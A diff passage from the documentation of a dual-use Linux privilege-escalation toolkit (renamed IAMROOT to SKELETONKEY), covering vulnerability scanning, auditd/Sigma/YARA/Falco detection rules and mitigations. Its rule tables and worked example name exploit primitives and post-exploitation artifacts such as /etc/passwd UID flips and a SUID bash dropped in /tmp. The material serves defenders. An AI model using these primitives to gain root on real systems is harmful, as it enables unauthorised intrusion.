"cve": "CVE-2026-46242",
|
||||
"module_dir": "bad_epoll_cve_2026_46242",
|
||||
"cwe": "CWE-416",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": false,
|
||||
"kev_date_added": ""
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2026-46243",
|
||||
"module_dir": "cifswitch_cve_2026_46243",
|
||||
"cwe": "CWE-20",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": false,
|
||||
"kev_date_added": ""
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2026-46300",
|
||||
"module_dir": "fragnesia_cve_2026_46300",
|
||||
"cwe": "CWE-787",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": false,
|
||||
"kev_date_added": ""
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2026-46333",
|
||||
"module_dir": "ptrace_pidfd_cve_2026_46333",
|
||||
"cwe": "CWE-269",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": false,
|
||||
"kev_date_added": ""
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2026-64600",
|
||||
"module_dir": "refluxfs_cve_2026_64600",
|
||||
"cwe": null,
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": false,
|
||||
"kev_date_added": ""
|
||||
}
|
||||
]
|
||||
+34
-34
@@ -1,25 +1,25 @@
|
||||
# IAMROOT for defenders
|
||||
# SKELETONKEY for defenders
|
||||
|
||||
IAMROOT is dual-use: the same binary that runs exploits also ships the
|
||||
SKELETONKEY is dual-use: the same binary that runs exploits also ships the
|
||||
detection rules to spot them. This document is for the blue team.
|
||||
|
||||
## TL;DR
|
||||
|
||||
```bash
|
||||
# 1. Detect what you're vulnerable to (no system modification)
|
||||
sudo iamroot --scan --json | jq .
|
||||
sudo skeletonkey --scan --json | jq .
|
||||
|
||||
# 2. Deploy detection rules covering every bundled CVE
|
||||
sudo iamroot --detect-rules --format=auditd | sudo tee /etc/audit/rules.d/99-iamroot.rules
|
||||
sudo skeletonkey --detect-rules --format=auditd | sudo tee /etc/audit/rules.d/99-skeletonkey.rules
|
||||
sudo systemctl restart auditd
|
||||
|
||||
# 3. (Optional) Apply pre-patch mitigations for vulnerable families
|
||||
sudo iamroot --mitigate copy_fail # or whatever module reports VULNERABLE
|
||||
sudo skeletonkey --mitigate copy_fail # or whatever module reports VULNERABLE
|
||||
|
||||
# 4. Watch
|
||||
sudo ausearch -k iamroot-copy-fail -ts recent
|
||||
sudo ausearch -k iamroot-dirty-pipe -ts recent
|
||||
sudo ausearch -k iamroot-pwnkit -ts recent
|
||||
sudo ausearch -k skeletonkey-copy-fail -ts recent
|
||||
sudo ausearch -k skeletonkey-dirty-pipe -ts recent
|
||||
sudo ausearch -k skeletonkey-pwnkit -ts recent
|
||||
```
|
||||
|
||||
## Why a single tool for offense and defense
|
||||
@@ -27,7 +27,7 @@ sudo ausearch -k iamroot-pwnkit -ts recent
|
||||
Public LPE PoCs ship without detection rules. Public detection rules
|
||||
ship without test corpora. The gap means defenders deploy rules they
|
||||
never validate against a real exploit, and attackers iterate against
|
||||
defenders who haven't tuned thresholds. IAMROOT closes that loop:
|
||||
defenders who haven't tuned thresholds. SKELETONKEY closes that loop:
|
||||
|
||||
- Each module ships an exploit AND the detection rules that catch it.
|
||||
- Every CVE in `CVES.md` has a row in the rule corpus.
|
||||
@@ -41,7 +41,7 @@ defenders who haven't tuned thresholds. IAMROOT closes that loop:
|
||||
### Inventory what's bundled
|
||||
|
||||
```bash
|
||||
iamroot --list
|
||||
skeletonkey --list
|
||||
```
|
||||
|
||||
Prints every registered module with CVE, family, and one-line summary.
|
||||
@@ -49,9 +49,9 @@ Prints every registered module with CVE, family, and one-line summary.
|
||||
### Run all detectors
|
||||
|
||||
```bash
|
||||
iamroot --scan # human-readable
|
||||
iamroot --scan --json # one JSON object → SIEM ingest
|
||||
iamroot --scan --json | jq '.modules[] | select(.result == "VULNERABLE")'
|
||||
skeletonkey --scan # human-readable
|
||||
skeletonkey --scan --json # one JSON object → SIEM ingest
|
||||
skeletonkey --scan --json | jq '.modules[] | select(.result == "VULNERABLE")'
|
||||
```
|
||||
|
||||
Result codes per module:
|
||||
@@ -63,23 +63,23 @@ Result codes per module:
|
||||
| `PRECOND_FAIL` | Preconditions missing (module/feature not installed) | 4 |
|
||||
| `TEST_ERROR` | Probe could not run (permissions, missing tools, etc.) | 1 |
|
||||
|
||||
`iamroot --scan` returns the WORST result code across all modules.
|
||||
`skeletonkey --scan` returns the WORST result code across all modules.
|
||||
Use this in CI to fail builds that produce vulnerable images.
|
||||
|
||||
### Deploy detection rules
|
||||
|
||||
```bash
|
||||
# auditd (most environments)
|
||||
sudo iamroot --detect-rules --format=auditd \
|
||||
| sudo tee /etc/audit/rules.d/99-iamroot.rules
|
||||
sudo skeletonkey --detect-rules --format=auditd \
|
||||
| sudo tee /etc/audit/rules.d/99-skeletonkey.rules
|
||||
sudo augenrules --load # or systemctl restart auditd
|
||||
|
||||
# Sigma (for SIEMs that ingest sigma)
|
||||
iamroot --detect-rules --format=sigma > /etc/falco/iamroot.sigma.yml
|
||||
skeletonkey --detect-rules --format=sigma > /etc/falco/skeletonkey.sigma.yml
|
||||
|
||||
# YARA / Falco — placeholders for future modules; currently empty
|
||||
iamroot --detect-rules --format=yara
|
||||
iamroot --detect-rules --format=falco
|
||||
skeletonkey --detect-rules --format=yara
|
||||
skeletonkey --detect-rules --format=falco
|
||||
```
|
||||
|
||||
Rules are emitted in registry order, deduplicated by string-pointer:
|
||||
@@ -91,19 +91,19 @@ auditd config).
|
||||
|
||||
| Key | Modules | What it catches |
|
||||
|---|---|---|
|
||||
| `iamroot-copy-fail` | copy_fail, copy_fail_gcm, dirty_frag_esp{,6}, dirty_frag_rxrpc | Writes to passwd/shadow/sudoers/su |
|
||||
| `iamroot-copy-fail-afalg` | copy_fail family | AF_ALG socket creation (kernel crypto API used by exploit) |
|
||||
| `iamroot-copy-fail-xfrm` | copy_fail family | xfrm setsockopt (Dirty Frag ESP variants) |
|
||||
| `iamroot-dirty-pipe` | dirty_pipe | Same target files; complements copy-fail watches |
|
||||
| `iamroot-dirty-pipe-splice` | dirty_pipe | splice() syscalls (the bug's primitive) |
|
||||
| `iamroot-pwnkit` | pwnkit | pkexec watch |
|
||||
| `iamroot-pwnkit-execve` | pwnkit | execve of pkexec — combine with audit of argv to catch argc=0 |
|
||||
| `skeletonkey-copy-fail` | copy_fail, copy_fail_gcm, dirty_frag_esp{,6}, dirty_frag_rxrpc | Writes to passwd/shadow/sudoers/su |
|
||||
| `skeletonkey-copy-fail-afalg` | copy_fail family | AF_ALG socket creation (kernel crypto API used by exploit) |
|
||||
| `skeletonkey-copy-fail-xfrm` | copy_fail family | xfrm setsockopt (Dirty Frag ESP variants) |
|
||||
| `skeletonkey-dirty-pipe` | dirty_pipe | Same target files; complements copy-fail watches |
|
||||
| `skeletonkey-dirty-pipe-splice` | dirty_pipe | splice() syscalls (the bug's primitive) |
|
||||
| `skeletonkey-pwnkit` | pwnkit | pkexec watch |
|
||||
| `skeletonkey-pwnkit-execve` | pwnkit | execve of pkexec — combine with audit of argv to catch argc=0 |
|
||||
|
||||
Search:
|
||||
|
||||
```bash
|
||||
sudo ausearch -k iamroot-copy-fail -ts today
|
||||
sudo ausearch -k iamroot-pwnkit -ts today
|
||||
sudo ausearch -k skeletonkey-copy-fail -ts today
|
||||
sudo ausearch -k skeletonkey-pwnkit -ts today
|
||||
```
|
||||
|
||||
### Mitigate (pre-patch)
|
||||
@@ -114,10 +114,10 @@ distro-portable workarounds:
|
||||
```bash
|
||||
# Currently: copy_fail_family — blacklists algif_aead/esp4/esp6/rxrpc,
|
||||
# sets kernel.apparmor_restrict_unprivileged_userns=1, drops caches.
|
||||
sudo iamroot --mitigate copy_fail
|
||||
sudo skeletonkey --mitigate copy_fail
|
||||
|
||||
# Revert mitigation (e.g., before applying the real kernel patch)
|
||||
sudo iamroot --cleanup copy_fail
|
||||
sudo skeletonkey --cleanup copy_fail
|
||||
```
|
||||
|
||||
Modules without `--mitigate` (dirty_pipe, entrybleed, pwnkit) report
|
||||
@@ -131,7 +131,7 @@ The `--scan --json` output is one-line-per-host friendly:
|
||||
```bash
|
||||
# scan a host list via ssh
|
||||
for h in $(cat fleet.txt); do
|
||||
ssh $h sudo iamroot --scan --json | jq --arg h "$h" '. + {host: $h}'
|
||||
ssh $h sudo skeletonkey --scan --json | jq --arg h "$h" '. + {host: $h}'
|
||||
done | jq -s . > fleet-scan-$(date +%F).json
|
||||
|
||||
# group by vulnerability
|
||||
@@ -148,9 +148,9 @@ modification.
|
||||
|
||||
| Rule | False-positive shape |
|
||||
|---|---|
|
||||
| `iamroot-copy-fail-afalg` | strongSwan and IPsec daemons use AF_ALG legitimately — scope with `-F auid=` to exclude service accounts |
|
||||
| `iamroot-dirty-pipe-splice` | nginx, HAProxy, kTLS use splice() heavily — scope with `-F gid!=33 -F gid!=99` for those service accounts |
|
||||
| `iamroot-pwnkit-execve` | gnome-software, polkit's own dispatcher legitimately exec pkexec — scope by parent process if you can correlate |
|
||||
| `skeletonkey-copy-fail-afalg` | strongSwan and IPsec daemons use AF_ALG legitimately — scope with `-F auid=` to exclude service accounts |
|
||||
| `skeletonkey-dirty-pipe-splice` | nginx, HAProxy, kTLS use splice() heavily — scope with `-F gid!=33 -F gid!=99` for those service accounts |
|
||||
| `skeletonkey-pwnkit-execve` | gnome-software, polkit's own dispatcher legitimately exec pkexec — scope by parent process if you can correlate |
|
||||
|
||||
The shipped rules are starting points. Tune per environment.
|
||||
|
||||
|
||||
+218
-53
@@ -1,6 +1,6 @@
|
||||
# IAMROOT detection playbook
|
||||
# SKELETONKEY detection playbook
|
||||
|
||||
Operational guide for blue teams using IAMROOT defensively. Pairs
|
||||
Operational guide for blue teams using SKELETONKEY defensively. Pairs
|
||||
with `docs/DEFENDERS.md` (the "what" reference) — this is the "how to
|
||||
make it part of your daily ops" guide.
|
||||
|
||||
@@ -8,15 +8,15 @@ make it part of your daily ops" guide.
|
||||
|
||||
```
|
||||
┌─────────────┐
|
||||
│ inventory │ ← iamroot --list (what's bundled?)
|
||||
│ inventory │ ← skeletonkey --list (what's bundled?)
|
||||
└──────┬──────┘
|
||||
▼
|
||||
┌─────────────┐
|
||||
│ scan │ ← iamroot --scan --json (what am I vulnerable to?)
|
||||
│ scan │ ← skeletonkey --scan --json (what am I vulnerable to?)
|
||||
└──────┬──────┘
|
||||
▼
|
||||
┌─────────────┐
|
||||
│ fleet scan │ ← iamroot-fleet-scan.sh hosts.txt
|
||||
│ fleet scan │ ← skeletonkey-fleet-scan.sh hosts.txt
|
||||
└──────┬──────┘
|
||||
▼
|
||||
┌────────────┼────────────┐
|
||||
@@ -29,7 +29,7 @@ make it part of your daily ops" guide.
|
||||
└────────────┼────────────┘
|
||||
▼
|
||||
┌─────────────┐
|
||||
│ monitor │ ← ausearch -k iamroot-* / SIEM alerts
|
||||
│ monitor │ ← ausearch -k skeletonkey-* / SIEM alerts
|
||||
└─────────────┘
|
||||
```
|
||||
|
||||
@@ -39,17 +39,28 @@ make it part of your daily ops" guide.
|
||||
|
||||
```bash
|
||||
# Daily/weekly hygiene check
|
||||
sudo iamroot --scan
|
||||
sudo skeletonkey --scan
|
||||
|
||||
# Investigate a specific finding (one-page operator briefing)
|
||||
sudo skeletonkey --explain nf_tables # whichever module came back VULNERABLE
|
||||
# Shows: CVE / CWE / MITRE ATT&CK / CISA KEV status, live detect() trace,
|
||||
# OPSEC footprint (what an exploit would leave behind), detection-rule
|
||||
# coverage, mitigation. Paste into the triage ticket.
|
||||
|
||||
# If anything's VULNERABLE, deploy detections + apply mitigation
|
||||
sudo iamroot --detect-rules --format=auditd | sudo tee /etc/audit/rules.d/99-iamroot.rules
|
||||
sudo skeletonkey --detect-rules --format=auditd | sudo tee /etc/audit/rules.d/99-skeletonkey.rules
|
||||
sudo augenrules --load
|
||||
sudo iamroot --mitigate copy_fail # or whichever module fired
|
||||
sudo skeletonkey --mitigate copy_fail # or whichever module fired
|
||||
```
|
||||
|
||||
The `--explain` output is also useful as a learning artifact: each
|
||||
module's `--explain` block is a self-contained CVE briefing with the
|
||||
reasoning chain the detect() function walked, so analysts can verify
|
||||
SKELETONKEY's verdict against their own understanding of the bug.
|
||||
|
||||
### Small fleet (~10-100 hosts, SSH-reachable)
|
||||
|
||||
Use `tools/iamroot-fleet-scan.sh`:
|
||||
Use `tools/skeletonkey-fleet-scan.sh`:
|
||||
|
||||
```bash
|
||||
# Hosts list — one per line; user@host:port supported
|
||||
@@ -61,8 +72,8 @@ ops@db-01:2222
|
||||
EOF
|
||||
|
||||
# Scan; binary scp'd, run, cleaned up. Output is one JSON doc.
|
||||
./iamroot-fleet-scan.sh \
|
||||
--binary ./iamroot \
|
||||
./skeletonkey-fleet-scan.sh \
|
||||
--binary ./skeletonkey \
|
||||
--ssh-key ~/.ssh/ops_key \
|
||||
--parallel 8 \
|
||||
hosts.txt > fleet-scan-$(date +%F).json
|
||||
@@ -95,7 +106,7 @@ Output shape:
|
||||
|
||||
### Larger fleet (>100 hosts)
|
||||
|
||||
`iamroot-fleet-scan.sh` is intentionally simple (parallel ssh). For
|
||||
`skeletonkey-fleet-scan.sh` is intentionally simple (parallel ssh). For
|
||||
fleets too large for SSH-fan-out, wrap it in your config-management
|
||||
tool of choice:
|
||||
|
||||
@@ -108,22 +119,22 @@ tool of choice:
|
||||
Sample Ansible task:
|
||||
|
||||
```yaml
|
||||
- name: scan with iamroot
|
||||
- name: scan with skeletonkey
|
||||
copy:
|
||||
src: iamroot
|
||||
dest: /tmp/iamroot
|
||||
src: skeletonkey
|
||||
dest: /tmp/skeletonkey
|
||||
mode: '0755'
|
||||
- name: run --scan --json
|
||||
command: /tmp/iamroot --scan --json --no-color
|
||||
command: /tmp/skeletonkey --scan --json --no-color
|
||||
register: scan
|
||||
changed_when: false
|
||||
failed_when: false # iamroot exit codes are semantic, not errors
|
||||
failed_when: false # skeletonkey exit codes are semantic, not errors
|
||||
- name: collect
|
||||
set_fact:
|
||||
iamroot_scan: "{{ scan.stdout | from_json }}"
|
||||
skeletonkey_scan: "{{ scan.stdout | from_json }}"
|
||||
- name: cleanup
|
||||
file:
|
||||
path: /tmp/iamroot
|
||||
path: /tmp/skeletonkey
|
||||
state: absent
|
||||
```
|
||||
|
||||
@@ -133,46 +144,110 @@ Sample Ansible task:
|
||||
|
||||
```
|
||||
# splunk input config (inputs.conf)
|
||||
[script:///opt/iamroot/iamroot-cron-scan.sh]
|
||||
[script:///opt/skeletonkey/skeletonkey-cron-scan.sh]
|
||||
interval = 86400
|
||||
source = iamroot
|
||||
sourcetype = iamroot:scan
|
||||
source = skeletonkey
|
||||
sourcetype = skeletonkey:scan
|
||||
```
|
||||
|
||||
`iamroot-cron-scan.sh`:
|
||||
`skeletonkey-cron-scan.sh`:
|
||||
|
||||
```bash
|
||||
#!/bin/bash
|
||||
/usr/local/bin/iamroot --scan --json --no-color
|
||||
/usr/local/bin/skeletonkey --scan --json --no-color
|
||||
```
|
||||
|
||||
Search the indexed events:
|
||||
|
||||
```spl
|
||||
index=iamroot sourcetype="iamroot:scan" modules{}.result=VULNERABLE
|
||||
index=skeletonkey sourcetype="skeletonkey:scan" modules{}.result=VULNERABLE
|
||||
| stats count by host modules{}.cve
|
||||
```
|
||||
|
||||
### Elastic / OpenSearch
|
||||
|
||||
Filebeat module reading the per-host scan JSON files (one per day),
|
||||
indexed into an `iamroot-*` index pattern. Standard Kibana
|
||||
indexed into an `skeletonkey-*` index pattern. Standard Kibana
|
||||
visualization on `modules.cve` over time tracks vulnerability lifecycle.
|
||||
|
||||
### Sigma → your platform
|
||||
|
||||
```bash
|
||||
# Ship Sigma rules into your platform
|
||||
iamroot --detect-rules --format=sigma > /etc/sigma/iamroot.yml
|
||||
skeletonkey --detect-rules --format=sigma > /etc/sigma/skeletonkey.yml
|
||||
# Convert to your target (Sentinel, Elastic, etc.) via sigmac
|
||||
sigmac -t elastic /etc/sigma/iamroot.yml
|
||||
sigmac -t elastic /etc/sigma/skeletonkey.yml
|
||||
```
|
||||
|
||||
### YARA artifact scanning
|
||||
|
||||
YARA rules catch the **post-fire** state — page-cache shellcode
|
||||
overwrites, malicious `.deb` drops, `/etc/passwd` UID flips. Run them
|
||||
as a scheduled scan against sensitive paths:
|
||||
|
||||
```bash
|
||||
# Ship YARA rules
|
||||
sudo skeletonkey --detect-rules --format=yara | sudo tee /etc/yara/skeletonkey.yar
|
||||
|
||||
# Scheduled scan via cron — catches the page-cache and /tmp artifacts
|
||||
# /etc/cron.d/skeletonkey-yara
|
||||
*/15 * * * * root yara -r /etc/yara/skeletonkey.yar \
|
||||
/etc/passwd /tmp /usr/bin/su /usr/bin/passwd \
|
||||
2>>/var/log/skeletonkey-yara.log
|
||||
```
|
||||
|
||||
What each rule catches:
|
||||
|
||||
| Rule | Triggers on |
|
||||
|---|---|
|
||||
| `etc_passwd_uid_flip` | Non-root user line in `/etc/passwd` with a zero-padded UID (`0000+`). Canonical Copy Fail / Dirty Frag / Dirty Pipe / DirtyDecrypt outcome. |
|
||||
| `etc_passwd_root_no_password` | `root` line with empty password field — DirtyDecrypt's intermediate corruption step. |
|
||||
| `pwnkit_gconv_modules_cache` | Small `gconv-modules` text file with a `module UTF-8// X// /tmp/…` redefinition. |
|
||||
| `dirty_pipe_passwd_uid_flip` | Same UID-flip pattern (Dirty Pipe-specific tag). |
|
||||
| `dirtydecrypt_payload_overlay` | First 28 bytes of `/usr/bin/su` (or similar) match the embedded 120-byte ET_DYN shellcode the V12 PoC overlays. |
|
||||
| `fragnesia_payload_overlay` | Same shape for the 192-byte Fragnesia payload. |
|
||||
| `pack2theroot_malicious_deb` | `.deb` ar-archive in `/tmp` with the SUID-bash postinst. |
|
||||
| `pack2theroot_suid_bash_drop` | `/tmp/.suid_bash` exists and is a real bash ELF. |
|
||||
|
||||
The page-cache overlay rules (`dirtydecrypt_payload_overlay`,
|
||||
`fragnesia_payload_overlay`) are particularly high-signal: no
|
||||
legitimate ELF starts with those exact 28 bytes, so a hit means the
|
||||
exploit landed.
|
||||
|
||||
### Falco runtime detection
|
||||
|
||||
Falco catches the exploit **as it fires** by hooking syscalls and
|
||||
namespace events. Best deploy for K8s / container hosts but works on
|
||||
any modern Linux:
|
||||
|
||||
```bash
|
||||
sudo skeletonkey --detect-rules --format=falco \
|
||||
| sudo tee /etc/falco/rules.d/skeletonkey.yaml
|
||||
sudo falco --validate /etc/falco/rules.d/skeletonkey.yaml
|
||||
sudo systemctl reload falco # or restart, depending on distro
|
||||
```
|
||||
|
||||
What each rule catches:
|
||||
|
||||
| Rule | Triggers on |
|
||||
|---|---|
|
||||
| `Pwnkit-style pkexec invocation` | `pkexec` spawned with empty argv (the bug's hallmark). |
|
||||
| `Pwnkit-style GCONV_PATH injection` | Non-root sets `GCONV_PATH=` / `CHARSET=` before spawning a setuid binary. |
|
||||
| `AF_ALG authenc keyblob installed by non-root` | `socket(AF_ALG)` by non-root — Copy Fail / GCM variant primitive. |
|
||||
| `XFRM NETLINK_XFRM bind from unprivileged userns` | XFRM SA setup from non-root userns — Dirty Frag / Fragnesia primitive. |
|
||||
| `/etc/passwd modified by non-root` | Post-fire signal for the whole page-cache-write family. |
|
||||
| `Dirty Pipe splice from setuid/sensitive file by non-root` | `splice()` of `/etc/passwd` or `/usr/bin/su` by non-root. |
|
||||
| `AF_RXRPC socket created by non-root` | DirtyDecrypt primitive — `socket(AF_RXRPC)` is nearly unheard-of in production. |
|
||||
| `rxrpc security key added` | `add_key("rxrpc", …)` by non-root — DirtyDecrypt handshake setup. |
|
||||
| `TCP_ULP=espintcp set by non-root` | Fragnesia trigger — flipping a TCP socket to espintcp ULP. |
|
||||
| `SUID bash dropped to /tmp` | Pack2TheRoot postinst landing `/tmp/.suid_bash`. |
|
||||
| `dpkg invoked by PackageKit on behalf of non-root caller` | Pack2TheRoot chain — `packagekitd → dpkg` installing a /tmp `.pk-*.deb`. |
|
||||
|
||||
## Day-to-day operational shape
|
||||
|
||||
### What "good" looks like in the SIEM
|
||||
|
||||
- Daily `iamroot --scan --json` from every host indexed
|
||||
- Daily `skeletonkey --scan --json` from every host indexed
|
||||
- Trend dashboard: count of VULNERABLE results by CVE over time
|
||||
- Goal: every VULNERABLE → OK transition within SLA (e.g., 14 days for
|
||||
patched-mainline bugs, 24h for actively-exploited)
|
||||
@@ -181,22 +256,22 @@ sigmac -t elastic /etc/sigma/iamroot.yml
|
||||
|
||||
### Auditd events from the embedded rules
|
||||
|
||||
After deploying `iamroot --detect-rules --format=auditd`:
|
||||
After deploying `skeletonkey --detect-rules --format=auditd`:
|
||||
|
||||
```bash
|
||||
# By module key
|
||||
sudo ausearch -k iamroot-copy-fail -ts today
|
||||
sudo ausearch -k iamroot-dirty-pipe -ts today
|
||||
sudo ausearch -k iamroot-pwnkit -ts today
|
||||
sudo ausearch -k iamroot-nf-tables-userns -ts today
|
||||
sudo ausearch -k iamroot-overlayfs -ts today
|
||||
sudo ausearch -k skeletonkey-copy-fail -ts today
|
||||
sudo ausearch -k skeletonkey-dirty-pipe -ts today
|
||||
sudo ausearch -k skeletonkey-pwnkit -ts today
|
||||
sudo ausearch -k skeletonkey-nf-tables-userns -ts today
|
||||
sudo ausearch -k skeletonkey-overlayfs -ts today
|
||||
|
||||
# Anything iamroot-tagged in the last hour
|
||||
sudo ausearch -k 'iamroot-*' -ts recent
|
||||
# Anything skeletonkey-tagged in the last hour
|
||||
sudo ausearch -k 'skeletonkey-*' -ts recent
|
||||
|
||||
# Forward to syslog (rsyslog example)
|
||||
# /etc/rsyslog.d/iamroot.conf:
|
||||
:msg, contains, "iamroot-" @@your-siem.example.com:514
|
||||
# /etc/rsyslog.d/skeletonkey.conf:
|
||||
:msg, contains, "skeletonkey-" @@your-siem.example.com:514
|
||||
```
|
||||
|
||||
### When a VULNERABLE result fires
|
||||
@@ -208,11 +283,11 @@ A scan reports VULNERABLE for module X
|
||||
│
|
||||
├── Q: Can I patch the underlying kernel / package?
|
||||
│ ├── YES → schedule patch window. In the meantime:
|
||||
│ │ iamroot --mitigate X (if supported)
|
||||
│ │ skeletonkey --mitigate X (if supported)
|
||||
│ │ Verify auditd rule for X is loaded.
|
||||
│ │ Monitor for the rule key.
|
||||
│ └── NO (legacy LTS, embedded device, prod freeze) →
|
||||
│ iamroot --mitigate X (essential)
|
||||
│ skeletonkey --mitigate X (essential)
|
||||
│ Compensating control: tighten LSM (SELinux/AppArmor)
|
||||
│ Document in risk register
|
||||
│
|
||||
@@ -238,22 +313,112 @@ If you applied a mitigation and now need to revert (e.g., the kernel
|
||||
patch has rolled out fleet-wide):
|
||||
|
||||
```bash
|
||||
sudo iamroot --cleanup copy_fail
|
||||
sudo skeletonkey --cleanup copy_fail
|
||||
# OR manually:
|
||||
sudo rm /etc/modprobe.d/dirtyfail-mitigations.conf
|
||||
sudo rm /etc/sysctl.d/99-dirtyfail-mitigations.conf
|
||||
# Reload affected modules / sysctls per your distro
|
||||
```
|
||||
|
||||
## Per-module detection coverage
|
||||
|
||||
Across the 4 rule formats:
|
||||
|
||||
| Module | CVE | auditd | sigma | yara | falco |
|
||||
|---|---|:-:|:-:|:-:|:-:|
|
||||
| copy_fail | CVE-2026-31431 | ✓ | ✓ | ✓ | ✓ |
|
||||
| copy_fail_gcm | (variant) | ✓ | ✓ | ✓ | ✓ |
|
||||
| dirty_frag_esp | CVE-2026-43284 | ✓ | ✓ | ✓ | ✓ |
|
||||
| dirty_frag_esp6 | CVE-2026-43284 | ✓ | ✓ | ✓ | ✓ |
|
||||
| dirty_frag_rxrpc | CVE-2026-43500 | ✓ | ✓ | ✓ | ✓ |
|
||||
| dirty_pipe | CVE-2022-0847 | ✓ | ✓ | ✓ | ✓ |
|
||||
| dirtydecrypt | CVE-2026-31635 | ✓ | ✓ | ✓ | ✓ |
|
||||
| fragnesia | CVE-2026-46300 | ✓ | ✓ | ✓ | ✓ |
|
||||
| pwnkit | CVE-2021-4034 | ✓ | ✓ | ✓ | ✓ |
|
||||
| pack2theroot | CVE-2026-41651 | ✓ | ✓ | ✓ | ✓ |
|
||||
| Other 21 modules | various | ✓ | partial | — | — |
|
||||
|
||||
Full 4-format coverage on the 10 highest-value modules; auditd
|
||||
covers everything. YARA / Falco expansion to the remaining 21 modules
|
||||
is incremental contributor work (each module's `detect_yara` /
|
||||
`detect_falco` field in the module struct just needs a string).
|
||||
|
||||
## Correlation across formats
|
||||
|
||||
Single-format detections are useful; the high-confidence signal is
|
||||
the **correlation across formats** for the same module in a short
|
||||
window. Each exploit leaves a recognisable multi-format trail:
|
||||
|
||||
| Exploit | falco fires | auditd fires | yara confirms |
|
||||
|---|---|---|---|
|
||||
| Pwnkit | `pkexec` empty argv | `execve /usr/bin/pkexec` + `GCONV_PATH=` env | gconv-modules cache in /tmp |
|
||||
| Dirty Pipe | `splice()` from `/etc/passwd` | splice + write to `/etc/passwd` | UID flip in `/etc/passwd` |
|
||||
| Copy Fail | `socket(AF_ALG)` | algif_aead + `ALG_SET_KEY` | UID flip in `/etc/passwd` |
|
||||
| Dirty Frag (ESP) | NETLINK_XFRM sendto + TCP_ULP | XFRM_MSG_NEWSA | UID flip in `/etc/passwd` |
|
||||
| DirtyDecrypt | `socket(AF_RXRPC)` + `add_key(rxrpc)` | AF_RXRPC + add_key | 120-byte ELF overwrites `/usr/bin/su` |
|
||||
| Fragnesia | `TCP_ULP=espintcp` from non-root | XFRM + setsockopt(TCP_ULP) | 192-byte ELF overwrites `/usr/bin/su` |
|
||||
| Pack2TheRoot | dpkg invoked by packagekitd with /tmp/.pk-*.deb | new `.deb` in `/tmp` + `chmod 4755` on `/tmp/.suid_bash` | malicious `.deb` + SUID bash both present |
|
||||
|
||||
If **three of the four signals** fire for the same module in the same
|
||||
window, the exploit landed. **One signal alone** in a noisy
|
||||
environment is more likely a tuning FP; **three signals** is incident
|
||||
response.
|
||||
|
||||
## Worked example: catching DirtyDecrypt end-to-end
|
||||
|
||||
A SOC operator gets a Falco page:
|
||||
|
||||
```
|
||||
CRITICAL AF_RXRPC socket() by non-root (user=alice proc=poc pid=44231)
|
||||
```
|
||||
|
||||
1. **Confirm via auditd** — pull events keyed on the family:
|
||||
```bash
|
||||
sudo ausearch -k skeletonkey-dirtydecrypt-rxrpc -ts recent
|
||||
```
|
||||
Expect: `socket(...,33,...)` + subsequent `add_key("rxrpc",...)`.
|
||||
|
||||
2. **Confirm via yara** — scan setuid binaries for the page-cache
|
||||
overlay:
|
||||
```bash
|
||||
yara /etc/yara/skeletonkey.yar /usr/bin/su /usr/bin/passwd
|
||||
```
|
||||
If `dirtydecrypt_payload_overlay` matches `/usr/bin/su`, **the
|
||||
exploit landed** — the binary's page cache has been overwritten
|
||||
with the 120-byte shellcode.
|
||||
|
||||
3. **Recover** — the on-disk binary is intact; only the page cache is
|
||||
corrupted. Drop it:
|
||||
```bash
|
||||
sudo skeletonkey --cleanup dirtydecrypt # or: echo 3 > /proc/sys/vm/drop_caches
|
||||
```
|
||||
|
||||
4. **Sigma hunt for lateral / repeat** — query your SIEM with the
|
||||
sigma rule ID `7c1e9a40-skeletonkey-dirtydecrypt` over the last 7
|
||||
days to find any other hosts.
|
||||
|
||||
5. **Patch.** DirtyDecrypt's mainline fix is commit `a2567217` in
|
||||
Linux 7.0 — see [`CVES.md`](../CVES.md) for distro backports.
|
||||
|
||||
6. **Harden.** `rxrpc` is rarely needed on non-AFS hosts:
|
||||
```bash
|
||||
echo "blacklist rxrpc" | sudo tee /etc/modprobe.d/blacklist-rxrpc.conf
|
||||
sudo update-initramfs -u
|
||||
```
|
||||
|
||||
The same shape applies to every module: pick the auditd key, the
|
||||
yara rule for the artifact, the falco rule for the runtime signal,
|
||||
and the sigma rule for the hunt.
|
||||
|
||||
## Common false positives + tuning
|
||||
|
||||
| Rule key | False positive | Fix |
|
||||
|---|---|---|
|
||||
| `iamroot-copy-fail-afalg` | strongSwan, libcrypto using kernel crypto | `-F auid=` exclude service account UIDs |
|
||||
| `iamroot-dirty-pipe-splice` | nginx, HAProxy, kTLS | `-F gid!=33 -F gid!=99` exclude web service accounts |
|
||||
| `iamroot-pwnkit-execve` | gnome-software, polkit's own re-exec | Correlate by parent process; pkexec via gnome dbus is benign |
|
||||
| `iamroot-nf-tables-userns` | docker rootless, podman, snap confined apps | Whitelist known userns-using service GIDs |
|
||||
| `iamroot-overlayfs` | docker / containerd mounting overlayfs as root | The rule is intended for unprivileged-userns overlayfs mounts; add `-F auid>=1000` |
|
||||
| `skeletonkey-copy-fail-afalg` | strongSwan, libcrypto using kernel crypto | `-F auid=` exclude service account UIDs |
|
||||
| `skeletonkey-dirty-pipe-splice` | nginx, HAProxy, kTLS | `-F gid!=33 -F gid!=99` exclude web service accounts |
|
||||
| `skeletonkey-pwnkit-execve` | gnome-software, polkit's own re-exec | Correlate by parent process; pkexec via gnome dbus is benign |
|
||||
| `skeletonkey-nf-tables-userns` | docker rootless, podman, snap confined apps | Whitelist known userns-using service GIDs |
|
||||
| `skeletonkey-overlayfs` | docker / containerd mounting overlayfs as root | The rule is intended for unprivileged-userns overlayfs mounts; add `-F auid>=1000` |
|
||||
|
||||
## Pre-patch quarantine pattern
|
||||
|
||||
@@ -261,13 +426,13 @@ If a CVE is in active exploitation and you can't patch immediately:
|
||||
|
||||
```bash
|
||||
# Stage 1: detect
|
||||
sudo iamroot --scan --json | jq '.modules[] | select(.cve == "CVE-XXXX")'
|
||||
